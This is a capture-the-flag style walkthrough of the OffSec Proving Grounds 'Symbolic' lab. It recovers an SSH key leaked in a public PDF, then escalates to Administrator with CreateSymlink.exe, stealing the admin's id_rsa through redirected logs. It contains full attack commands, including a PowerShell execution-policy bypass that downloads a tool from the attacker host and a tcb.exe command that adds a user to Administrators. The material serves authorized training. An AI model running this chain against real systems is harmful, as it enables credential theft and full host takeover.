Skip to main content

OffSec Proving Grounds Symbolic — Symlink to Admin SSH

James
AOV Security

In this Art of Vector walkthrough, we take OffSec Proving Grounds Symbolic from a two-port Windows web host to Administrator over SSH by recovering a leaked private key from a generated PDF, then chaining an Object Manager symbolic link with James Forshaw's CreateSymlink.exe to steal the administrator's id_rsa. We also note SeTcbPrivilege and the textbook tcb.exe path — documented for context, but not what worked in this run.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Symbolic (192.168.120.177, hostname SYMBOLIC) exposes SSH and Apache/PHP with a WebPage to PDF converter (XAMPP). Directory brute-force finds /Pdfs/ with predictable hash-named PDFs. One PDF embeds p4yl0ad's OpenSSH private key — initial access.

On the box, p4yl0ad holds SeTcbPrivilege (Act as part of the operating system) — a red herring / alternate write-up path on some guides. What actually worked: CreateSymlink.exe repoints the web app's log file to C:\Users\Administrator\.ssh\id_rsa, so the logging pipeline copies the administrator key into attacker-readable logs. SSH as administrator finishes the box.

Attack chain (end-to-end)​

nmap → gobuster (/Pdfs/) → download PDF → extract id_rsa
→ SSH p4yl0ad → whoami /priv (SeTcbPrivilege — note, don't rely on tcb.exe here)
→ CreateSymlink: logs\request.log → Administrator\.ssh\id_rsa
→ trigger PDF app / read backup log → admin_id_rsa
→ SSH administrator → flags

Phase 0 — Kali prep​

0.1 Working directory​

mkdir -p ~/aov_lab/Symbolic
cd ~/aov_lab/Symbolic

0.2 Confirm routable IP (for hosting tools later)​

ip -4 addr show

Lab run used 192.168.45.182. You will serve CreateSymlink.exe from this address.

0.3 Host CreateSymlink.exe (before you need it on the box)​

Download CreateSymlink (Google Project Zero) on Kali, then:

# from the directory containing CreateSymlink.exe
python3 -m http.server 80
# or copy to a web root and serve on port 80

On Windows you will pull:

powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

Host CreateSymlink.exe only — you do not need tcb.exe for the working path on this box.


Phase 1 — Port scan​

1.1 Full TCP scan​

nmap -sV -sC -p- 192.168.120.177 -v

Notable results:

Nmap scan report for 192.168.120.177
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:40:e2:ef:21:ea:c1:77:b6:14:a3:f7:04:59:45:28 (RSA)
| 256 f8:fb:e3:c6:16:3a:e2:62:d0:e2:ae:d4:f2:9e:6f:6d (ECDSA)
|_ 256 94:5e:97:ad:f9:0f:81:b6:6b:3b:bd:98:43:c0:0d:6a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: WebPage to PDF

1.2 What this tells you​

SignalHunt angle
OpenSSH on WindowsKey-based auth likely; look for leaked keys
Apache + PHP 8.0.7XAMPP-style stack; web roots under C:\xampp\htdocs\
Title: WebPage to PDFUser-supplied URLs → PDF; often writes logs and output PDFs to disk
Only 22 + 80 openEntire attack surface is web → SSH; no RDP shortcut

Browse manually:

curl -s http://192.168.120.177/ | head -50

Identify the PDF conversion form (URL input, submit button, any hint about output location).


Phase 2 — Directory enumeration​

2.1 Gobuster​

gobuster dir -u http://192.168.120.177/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
--exclude-length 0

Interesting hits:

logs (Status: 301) [--> http://192.168.120.177/logs/]
pdfs (Status: 301) [--> http://192.168.120.177/pdfs/]
PDFs (Status: 301) [--> http://192.168.120.177/PDFs/]
phpmyadmin (Status: 403)
webalizer (Status: 403)
server-status (Status: 403)

Case-insensitive Apache aliases (pdfs, PDFs, Pdfs) all resolve — directory listing may be enabled under one of them.

2.2 Why /Pdfs/ matters​

The PDF converter saves finished files under a public web folder. If directory listing is on (or filenames are guessable MD5/SHA1 hashes of the input URL), every conversion becomes a direct download link. That is a classic misconfiguration: output artifacts are world-readable.

Enumerate:

curl -s http://192.168.120.177/Pdfs/ | grep -oP 'href="[^"]+\.pdf"' | head -20
# or browse in Firefox

Lab PDF (example):

http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf

Phase 3 — Initial access: SSH key in PDF​

3.1 Download and inspect the PDF​

wget -O symbolic.pdf \
'http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf'

Extract text (any of these):

pdftotext symbolic.pdf -
strings symbolic.pdf | grep -A2 'BEGIN OPENSSH'

You should see a block like:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (truncated in writeup — save full key from PDF)
-----END OPENSSH PRIVATE KEY-----

Comment in the decoded key indicates user p4yl0ad@SYMBOLIC.

3.2 Why the key is in the PDF (root cause)​

The WebPage-to-PDF pipeline likely:

  1. Fetches a URL or local resource supplied by whoever triggered the conversion, or
  2. Embeds debug / request metadata (headers, footers, environment) into the PDF, or
  3. A developer once converted a page that displayed or linked the private key (e.g. internal notes, file:// path, or pasted key in HTML).

Regardless of which UI path created this file, the impact is the same: a secret stored on disk was copied into a world-readable PDF under /Pdfs/. Never commit real private keys to a public blog — rotate in lab; in the post, redact or describe only.

3.3 Save and use the key​

# paste ONLY the key block into id_rsa
chmod 400 id_rsa
ssh -i id_rsa p4yl0ad@192.168.120.177

Accept the host key on first connect:

Are you sure you want to continue connecting (yes/no)? yes

You land in a Windows OpenSSH session as p4yl0ad@SYMBOLIC.


Phase 4 — Privilege enumeration​

4.1 Check token privileges​

whoami /priv

Lab output (abridged):

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
========================================= ==================================== =======
SeTcbPrivilege Act as part of the operating system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

4.2 Why SeTcbPrivilege is critical​

SeTcbPrivilege (Act as part of the operating system) is one of the most powerful privileges on Windows. Holders can authenticate as any user and bypass normal access checks when calling LsaLogonUser / similar APIs.

It is not granted to normal users on production systems. On this box it is Enabled for p4yl0ad — an intentional PG misconfiguration for privilege escalation.

Typical abuse tools:

ToolWhat it does
tcb.exeUses TCB privilege to spawn processes with elevated / SYSTEM-equivalent context
Manual CreateProcessAsUser PoCsSame class of bug

Some write-ups suggest tcb.exe for a direct admin path when SeTcbPrivilege is enabled. In this lab run, tcb.exe did not work (command ran but p4yl0ad never joined Administrators). That is fine — the intended / working solve is the symlink chain below. We still document the TCB angle because it explains why whoami /priv flags that privilege during recon.


This is the Symbolic namesake: abuse symbolic links so a high-value file is copied into a location p4yl0ad can read.

Windows has several link types:

TypeCreated byCross-volume
Shortcut (.lnk)UserN/A
Hard linkCreateHardLinkSame volume only
Symbolic link (file)SeCreateSymbolicLinkPrivilegeYes
Object Manager symlinkTools like CreateSymlink.exeYes — tricks privileged services into opening attacker-chosen paths

The web/PDF stack writes HTTP request logs under:

C:\xampp\htdocs\logs\

The Administrator account uses OpenSSH for Windows with keys at:

C:\Users\Administrator\.ssh\id_rsa

Goal: Make the application (or its logging/backup job) read id_rsa when it thinks it is opening logs\request.log, then store or echo that content somewhere p4yl0ad reads — e.g. C:\backup\logs\<timestamp>.

5.2 Download CreateSymlink.exe on the target​

On Kali (port 80):

python3 -m http.server 80

On SYMBOLIC (PowerShell):

powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

CreateSymlink.exe (Project Zero) creates Global symlink objects in \RPC Control\ that redirect opens of request.log to \??\C:\Users\Administrator\.ssh\id_rsa.

5.3 Remove the real logs directory​

cd C:\backup
Remove-Item -Recurse -Force "C:\xampp\htdocs\logs"
# confirm: Y

Why delete first: You need the next open/create on logs\request.log to hit your symlink, not an existing real file or directory layout.

.\CreateSymlink.exe 'C:\xampp\htdocs\logs\request.log' 'C:\Users\Administrator\.ssh\id_rsa'

Expected:

Opened Link \RPC Control\request.log -> \??\C:\Users\Administrator\.ssh\id_rsa: 00000158
Press ENTER to exit and delete the symlink

Leave the tool running or press ENTER only after you capture the key (depending on timing — if the link disappears, recreate before triggering the app).

What this means: Any process that opens C:\xampp\htdocs\logs\request.log (via the object manager path) is redirected to the administrator's private key file.

5.5 Trigger the WebPage-to-PDF / logging pipeline​

Generate fresh traffic so the app touches the log path:

  1. Browse http://192.168.120.177/ from Kali.
  2. Submit a new URL for PDF conversion (any valid http(s) page).
  3. Wait for a new timestamped log under C:\backup\logs\ (backup job path on this box).

5.6 Read the exfiltrated key​

cd C:\backup\logs
dir
type 09-13-2026_18_33_49

(File name is timestamp-based — use dir for the exact name on your run.)

Output begins with:

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Save on Kali as admin_id_rsa, chmod 400, do not publish the full key in a blog post.


Phase 6 — Administrator SSH session​

6.1 Connect as administrator​

On Kali:

chmod 400 admin_id_rsa
ssh administrator@192.168.120.177 -i admin_id_rsa

Success:

Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

administrator@SYMBOLIC C:\Users\Administrator>

6.2 Confirm impact​

whoami
whoami /groups
hostname

You are the built-in Administrator on SYMBOLIC — full host compromise via SSH.


Phase 7 — Optional: HTTP server on Kali (reference)​

Minimal file hosting layout used during the lab:

cd ~/aov_lab/Symbolic
# place CreateSymlink.exe here
python3 -m http.server 80

Windows pull pattern:

powershell -ep bypass -c "iwr http://<KALI_IP>/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

Replace <KALI_IP> with your interface IP (e.g. 192.168.45.182).


Common failure points​

SymptomLikely causeFix
SSH "Permissions too open"id_rsa mode too widechmod 400 id_rsa
Gobuster finds no PDFsWrong case pathTry /Pdfs/, /pdfs/, /PDFs/
PDF has no keyWrong/old PDF fileList dir again; download newest hash
tcb.exe runs but no adminCommon on this box — use CreateSymlink insteadSkip TCB; symlink path is the working solve
CreateSymlink "access denied"Missing symlink privilegeRun from p4yl0ad context on PG (lab grants rights); use CreateSymlink.exe, not manual mklink
Symlink created but no key in logApp not triggeredGenerate new PDF; check C:\backup\logs and C:\xampp\htdocs\logs
iwr failsKali firewall / wrong IPcurl -I http://KALI/ from Windows; bind python3 -m http.server 80
Admin SSH deniedIncomplete key fileEnsure -----BEGIN/END----- lines intact; UNIX line endings

Key takeaways​

  1. Generated artifacts (PDFs, exports, caches) are secret-leak territory — treat /Pdfs/ like a public S3 bucket.
  2. SeTcbPrivilege looks like an easy win — always run whoami /priv, but verify the abuse tool actually works; symlink was the real path here.
  3. Symbolic links let you redirect privileged file opens — the lab name is the hint.
  4. OpenSSH on Windows means administrator keys live at C:\Users\Administrator\.ssh\ — high value for symlink targets.
  5. Chain web misconfig → key leak → privesc → second credential mirrors real engagements where PDF/report services exfil secrets.

References​


One-line summary​

nmap → gobuster /Pdfs/ → SSH key in PDF → p4yl0ad → CreateSymlink request.log → Administrator id_rsa → SSH administrator → flags.


Appendix — tcb.exe (textbook path; did not work here)​

Some Symbolic write-ups show adding yourself to Administrators with SeTcbPrivilege:

cd C:\backup
.\tcb.exe "C:\Windows\system32\cmd.exe /c net localgroup administrators p4yl0ad /add"

Why it appears in guides: SeTcbPrivilege (Act as part of the operating system) lets a process authenticate as arbitrary users — abuse tools like tcb.exe wrap that into "run this command as SYSTEM/TCB."

Why we keep it in the post: Recon value — when you see SeTcbPrivilege Enabled, you should try the TCB angle once. It teaches the privilege class even when this instance blocks it.

What happened on this run: Command returned without adding p4yl0ad to Administrators (whoami /groups unchanged). Do not burn time debugging TCB — pivot to CreateSymlink (Phase 5), which is what the lab name signals anyway.